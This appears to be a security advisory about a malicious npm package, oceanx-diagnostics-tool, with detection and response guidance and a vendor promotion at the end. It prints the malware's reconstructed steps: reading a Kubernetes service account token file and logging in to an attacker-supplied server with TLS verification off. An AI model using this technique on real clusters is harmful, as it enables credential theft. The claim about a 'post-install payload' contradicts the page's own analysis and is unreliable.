oceanx-diagnostics-toolnpm
Advisory published Updated
oceanx-diagnostics-tool is a confirmed malicious npm package (MAL-2026-21083) that steals credentials and exfiltrates sensitive data (malicious versions 0.0.1, 0.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in oceanx-diagnostics-tool (npm)
What this malware does
The package presents itself as an HTTP/DNS diagnostics tool but ships tester.sh, a shell script that uses single-character variable fragments concatenated and passed to eval to hide its payload. The reconstructed commands read the in-cluster Kubernetes service account token from /var/run/secrets/kubernetes.io/serviceaccount/token and run ./oc login --token=$DEBUG_FILE --server=$SERV --insecure-skip-tls-verify, authenticating to a caller/attacker-supplied OpenShift server with TLS verification disabled. The string-fragment obfuscation is specifically shaped to defeat grep/static review and is inconsistent with the package's stated benign purpose. The script is not wired to an npm lifecycle hook and the declared main: index.js is absent from the tarball, so the payload does not auto-execute on npm install or require(); it runs only when the shipped tester.sh is explicitly invoked (for example via the scripts.send entry or manual execution inside a pod). The package's shipped content is nonetheless a ready-to-run credential-theft tool targeting Kubernetes workloads that install it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for oceanx-diagnostics-tool (2 malicious versions).
If you installed it — respond
oceanx-diagnostics-tool is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If oceanx-diagnostics-tool was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks oceanx-diagnostics-tool-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.